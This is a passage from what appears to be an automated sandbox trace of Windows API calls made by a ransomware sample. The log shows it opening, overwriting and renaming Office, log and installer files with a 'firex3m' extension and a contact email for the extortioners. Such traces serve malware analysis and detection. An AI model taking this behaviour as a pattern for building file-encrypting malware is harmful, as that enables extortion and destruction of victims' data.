lpBuffer=0x6ff2c38*, lpNumberOfBytesWritten=0x60fff0c*=0xe60, lpOverlapped=0x0) returned 1 [0089.824] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.824] WriteFile (in: hFile=0x6b4, lpBuffer=0x6ff3a97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff3a97*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0089.824] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.824] WriteFile (in: hFile=0x6b4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0089.824] CloseHandle (hObject=0x6b4) returned 1 [0089.825] GetProcessHeap () returned 0x630000 [0089.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff2c38 | out: hHeap=0x630000) returned 1 [0089.825] GetProcessHeap () returned 0x630000 [0089.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1da8 | out: hHeap=0x630000) returned 1 [0089.825] GetProcessHeap () returned 0x630000 [0089.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0089.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.825] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfb7da709, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xe9a, dwReserved0=0x9207496, dwReserved1=0x6ff1da0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0089.825] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0089.826] Sleep (dwMilliseconds=0x1) [0089.869] Sleep (dwMilliseconds=0x1) [0089.885] Sleep (dwMilliseconds=0x1) [0089.900] Sleep (dwMilliseconds=0x1) [0089.917] Sleep (dwMilliseconds=0x1) [0089.931] Sleep (dwMilliseconds=0x1) [0089.948] Sleep (dwMilliseconds=0x1) [0089.963] Sleep (dwMilliseconds=0x1) [0089.978] Sleep (dwMilliseconds=0x1) [0090.002] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", len=0x2c | out: pbstr=0x60fff7c*="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 1 [0090.002] GetProcessHeap () returned 0x630000 [0090.002] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0458, Size=0x14) returned 0x6b0418 [0090.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0090.002] CloseHandle (hObject=0x680) returned 1 [0090.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.003] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0090.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.005] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5580 [0090.005] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0090.005] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0090.005] GetProcessHeap () returned 0x630000 [0090.005] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7008608 [0090.006] GetProcessHeap () returned 0x630000 [0090.006] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7013a38 [0090.006] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.007] ReadFile (in: hFile=0x680, lpBuffer=0x7008608, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7008608*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0096.227] GetProcessHeap () returned 0x630000 [0096.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0096.228] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.228] WriteFile (in: hFile=0x680, lpBuffer=0x7013a38*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7013a38*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0096.228] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.228] WriteFile (in: hFile=0x680, lpBuffer=0x701ee37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x701ee37*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0096.228] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.228] WriteFile (in: hFile=0x680, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0096.228] CloseHandle (hObject=0x680) returned 1 [0096.231] GetProcessHeap () returned 0x630000 [0096.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7013a38 | out: hHeap=0x630000) returned 1 [0096.231] GetProcessHeap () returned 0x630000 [0096.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7008608 | out: hHeap=0x630000) returned 1 [0096.231] GetProcessHeap () returned 0x630000 [0096.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0096.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.231] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xff4f5115, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x141ea, dwReserved0=0x9207496, dwReserved1=0x7008600, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0096.232] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0096.232] Sleep (dwMilliseconds=0x1) [0098.201] Sleep (dwMilliseconds=0x1) [0099.746] Sleep (dwMilliseconds=0x1) [0101.027] Sleep (dwMilliseconds=0x1) [0101.796] Sleep (dwMilliseconds=0x1) [0102.270] Sleep (dwMilliseconds=0x1) [0102.477] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.930] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.197] Sleep (dwMilliseconds=0x1) [0103.307] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0104.840] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", len=0x39 | out: pbstr=0x60fff7c*="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 1 [0104.840] GetProcessHeap () returned 0x630000 [0104.840] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9120, Size=0x18) returned 0x6b0398 [0104.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0104.870] CloseHandle (hObject=0x6d0) returned 1 [0104.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.870] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.871] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI3600~1.FIR")) returned 0x6d5480 [0104.871] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0104.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0104.872] GetProcessHeap () returned 0x630000 [0104.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f4a298 [0104.872] GetProcessHeap () returned 0x630000 [0104.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f556c8 [0104.873] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.873] ReadFile (in: hFile=0x6d0, lpBuffer=0x6f4a298, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4a298*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.847] GetProcessHeap () returned 0x630000 [0112.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0112.848] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.848] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f556c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f556c8*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.848] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.848] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f60ac7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60ac7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.848] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.848] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.848] CloseHandle (hObject=0x6d0) returned 1 [0112.851] GetProcessHeap () returned 0x630000 [0112.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f556c8 | out: hHeap=0x630000) returned 1 [0112.851] GetProcessHeap () returned 0x630000 [0112.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4a298 | out: hHeap=0x630000) returned 1 [0112.851] GetProcessHeap () returned 0x630000 [0112.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0112.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.851] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x937452b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x9207496, dwReserved1=0x6f4a290, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI3600~1.FIR")) returned 0x6d5000 [0112.851] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0112.851] Sleep (dwMilliseconds=0x1) [0113.712] Sleep (dwMilliseconds=0x1) [0114.312] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", len=0x58 | out: pbstr=0x60fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 1 [0114.312] GetProcessHeap () returned 0x630000 [0114.312] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x10) returned 0x6b1208 [0114.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.312] Sleep (dwMilliseconds=0x1) [0114.885] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.184] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.686] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.305] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 1 [0123.305] GetProcessHeap () returned 0x630000 [0123.305] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x190) returned 0x66a3e0 [0123.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0123.310] CloseHandle (hObject=0x6bc) returned 1 [0123.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP7879~1.FIR")) returned 0x6d5200 [0123.330] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0123.330] GetProcessHeap () returned 0x630000 [0123.330] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6982b8 [0123.330] GetProcessHeap () returned 0x630000 [0123.330] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6f33a38 [0123.330] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.330] ReadFile (in: hFile=0x6bc, lpBuffer=0x6982b8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6982b8*, lpNumberOfBytesRead=0x60fff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.488] GetProcessHeap () returned 0x630000 [0123.488] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0123.489] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.489] WriteFile (in: hFile=0x6bc, lpBuffer=0x6f33a38*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a38*, lpNumberOfBytesWritten=0x60fff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.489] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.489] WriteFile (in: hFile=0x6bc, lpBuffer=0x6f33f17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33f17*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.489] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.489] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.489] CloseHandle (hObject=0x6bc) returned 1 [0124.758] GetProcessHeap () returned 0x630000 [0124.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f33a38 | out: hHeap=0x630000) returned 1 [0124.759] GetProcessHeap () returned 0x630000 [0124.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6982b8 | out: hHeap=0x630000) returned 1 [0124.759] GetProcessHeap () returned 0x630000 [0124.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0128.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8ec55f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x9207496, dwReserved1=0x6982b0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP7879~1.FIR")) returned 0x6d5200 [0128.596] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0128.596] Sleep (dwMilliseconds=0x1) [0128.606] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", len=0x38 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 1 [0128.606] GetProcessHeap () returned 0x630000 [0128.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd4) returned 0x66a3e0 [0128.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0128.682] CloseHandle (hObject=0x6d8) returned 1 [0128.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 